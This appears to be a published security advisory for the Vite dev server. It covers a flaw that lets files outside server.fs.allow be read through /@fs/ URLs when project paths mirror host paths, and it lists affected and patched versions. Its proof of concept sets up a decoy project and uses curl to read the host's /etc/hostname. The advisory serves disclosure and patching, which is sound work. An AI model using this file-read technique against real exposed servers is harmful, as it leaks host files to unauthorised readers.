Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine

Overview

Summary

The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.

The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.

Impact

Only apps that meet all of the following conditions are affected:

• explicitly expose the Vite dev server to the network (using --host or the server.host option)
• contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
• The sensitive file is not matched by server.fs.deny
• the dev server is not running on Windows

Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.

For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install [email protected]
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Affected packages

• vite >= 8.3.0, <= 8.3.2
• vite >= 8.2.0, <= 8.2.3
• vite >= 8.0.0, <= 8.1.5
• vite >= 7.0.0, <= 7.3.6
• vite <= 6.4.3
• vite-plus <= 1.0.0

Remediation

Upgrade to a patched release:

• vite 8.3.3
• vite 8.2.4
• vite 8.1.6
• vite 7.3.7
• vite 6.4.4
• vite-plus 1.1.0